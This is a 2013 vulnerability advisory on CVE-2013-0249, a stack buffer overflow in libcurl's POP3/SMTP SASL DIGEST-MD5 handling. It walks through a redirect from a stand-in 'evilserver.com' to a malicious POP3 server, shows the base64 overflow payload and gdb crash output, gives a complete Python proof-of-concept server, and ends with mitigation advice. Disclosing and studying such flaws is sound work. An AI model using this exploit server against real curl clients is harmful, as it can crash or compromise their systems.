cURL buffer overflow
Wed 06 February 2013

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 relased.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/

GET / HTTP/1.0
Host: evilserver.com

server answers with

HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.

"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers

+OK POP3 server ready

curl sends

CAPA

servers answers with DIGEST-MD5 only

+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server

so, libcurl has to send

AUTH DIGEST-MD5

then server sends the payload

+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=

and overflow happens because of fixed realm buffer size

realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8

how it looks in gdb

Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
   from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2  0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000

Original exploit: pop3d.py.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 CVE-2013-0249 by Volema/MSLC

import socket
import base64

host = "localhost"
port = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
    buf = sock.recv(1024)
    print buf
    if buf.find('USER') > -1:
        sock.send('+OK\n')
    if buf.find('PASS') > -1:
        sock.send('-ERR 999\n')
    if buf.find('CAPA') > -1:
        resp =  '+OK List of capabilities follows\n'
        resp += 'SASL DIGEST-MD5\n'
        resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
        resp += '.\n'
        sock.send(resp)
    if buf.find('QUIT') > -1:
        sock.send('+OK')
        break
    if buf.find('AUTH') > -1:
        realm = 'A'*128
        payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
        resp = '+ '+base64.b64encode(payload)+'\n'
        print resp
        sock.send(resp)
sock.close()


Mitigation

We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.
